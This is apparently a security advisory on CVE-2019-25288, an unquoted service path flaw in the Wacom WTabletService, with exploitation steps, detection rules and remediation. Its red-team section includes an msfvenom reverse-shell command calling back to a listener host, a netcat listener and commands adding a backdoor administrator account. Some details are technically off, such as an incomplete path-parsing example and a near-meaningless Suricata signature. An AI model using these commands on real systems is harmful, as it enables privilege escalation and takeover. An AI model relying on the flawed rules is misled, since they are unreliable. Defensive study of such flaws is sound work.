CVE-2019-25288

Executive Summary

CVE-2019-25288 is a local privilege escalation vulnerability in the Wacom WTabletService (version 6.6.7-3) caused by an unquoted service path. This flaw allows a local attacker with low privileges to insert a malicious executable into the service’s unquoted path, which will be executed with SYSTEM privileges when the service restarts or the system reboots. The vulnerability has a CVSS v3.1 base score of 7.8 (High) and is classified under CWE-428 (Unquoted Search Path or Element). No public exploit code or Nuclei template is available, but the attack vector is well-documented and straightforward to reproduce.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows desktop application (Wacom tablet driver) that is typically installed via an MSI installer or direct download from the vendor’s website. The risk is limited to local systems where the Wacom driver is installed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions beyond standard user privileges.
• Privileges Required: Low (PR:L) – attacker needs only a standard user account.
• User Interaction: None (UI:N) – no user action required beyond service restart/reboot.
• Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full system compromise.

Threat Level: High. Although the EPSS score is 0.0%, the vulnerability is trivial to exploit and can lead to complete system takeover. It is a classic unquoted service path issue that has been exploited in the wild for many years.

Deep Dive & Mechanics

The Wacom WTabletService is a Windows service that runs with SYSTEM privileges. The service binary path is stored in the Windows Registry under HKLM\SYSTEM\CurrentControlSet\Services\WTabletService. The path is unquoted, meaning it contains spaces without being enclosed in double quotes.

For example, if the service path is:

C:\Program Files\Wacom\WTabletService.exe

Windows will interpret this as multiple possible paths:

1. C:\Program.exe
2. C:\Program Files\Wacom\WTabletService.exe

If an attacker places a malicious executable named Program.exe in C:\, the service will execute that instead of the legitimate binary when the service starts. Since the service runs as SYSTEM, the malicious code will also run with SYSTEM privileges.

The vulnerability exists in version 6.6.7-3 of the Wacom driver. The vendor (Wacom) has not released a patch, and the status remains UNKNOWN/UNPATCHED.

Vulnerable vs. Patched Code

Vulnerable Configuration (Unquoted Service Path): The service binary path in the registry is stored without quotes:

C:\Program Files\Wacom\WTabletService.exe

Patched Configuration (Quoted Service Path): A patched version would store the path with quotes:

"C:\Program Files\Wacom\WTabletService.exe"

No official patch is available from Wacom. The only mitigation is to manually add quotes to the service path in the registry or to remove the vulnerable service if it is not needed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with Wacom WTabletService 6.6.7-3 installed.
• A standard user account (non-admin).
• Ability to write to C:\ (or another writable location in the unquoted path).

Steps:

1. Identify the vulnerable service:

   sc qc WTabletService
   

   Look for BINARY_PATH_NAME without quotes.

2. Create a malicious executable (e.g., Program.exe) that spawns a reverse shell or adds a local admin user. Example using msfvenom:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe
   

3. Place the executable in the unquoted path (e.g., C:\Program.exe):

   copy Program.exe C:\Program.exe
   

4. Trigger the service restart (requires admin or wait for reboot):

   sc stop WTabletService
   sc start WTabletService
   

   If you cannot restart the service, wait for a system reboot.

5. Receive the reverse shell on your listener:

   nc -lvnp 4444
   

Alternative: Use a PowerShell script to add a local admin:

# Program.exe content (PowerShell script compiled to exe)
net user attacker P@ssw0rd! /add
net localgroup Administrators attacker /add

Blue Team (Detection & Prevention)

Detection:

• Monitor for new executables in C:\ or other root directories that match the unquoted service path pattern.
• Look for service binary path changes in the registry.
• Use Sysmon Event ID 1 (Process Creation) to detect execution of Program.exe or similar from unexpected paths.

Prevention:

• Manually add quotes to the service path:

  sc config WTabletService binPath= "\"C:\Program Files\Wacom\WTabletService.exe\""
  

• Restrict write permissions to C:\ for standard users.
• Remove the Wacom service if not needed.

Indicators of Compromise (IOCs)

• File: C:\Program.exe (or any executable placed in the unquoted path)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\WTabletService with unquoted ImagePath
• Process: Program.exe running from C:\ with high integrity level
• Network: Outbound connection from the compromised system to an attacker-controlled IP (if reverse shell used)

Detection Engineering

YARA Rule

rule CVE_2019_25288_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for Wacom WTabletService"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25288"
    strings:
        $reg_path = "WTabletService" nocase
        $unquoted = "C:\\Program Files\\Wacom\\WTabletService.exe" nocase
    condition:
        $reg_path and $unquoted
}

Sigma Rule

title: Unquoted Service Path - Wacom WTabletService
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unquoted service path for Wacom WTabletService (CVE-2019-25288)
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25288
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 1
        Image|endswith: '\Program.exe'
    condition: selection
falsepositives:
    - Legitimate programs named Program.exe in C:\
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2019-25288 - Potential reverse shell from Wacom exploit"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:

   sc config WTabletService binPath= "\"C:\Program Files\Wacom\WTabletService.exe\""
   

2. Restrict write access to C:\ for standard users via Group Policy or NTFS permissions.
3. Disable the Wacom service if the tablet is not in use:

   sc stop WTabletService
   sc config WTabletService start= disabled
   

Long-Term:

• Monitor the Wacom vendor for an official patch.
• Implement application whitelisting (e.g., AppLocker) to prevent execution from C:\.
• Conduct regular vulnerability scans for unquoted service paths.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert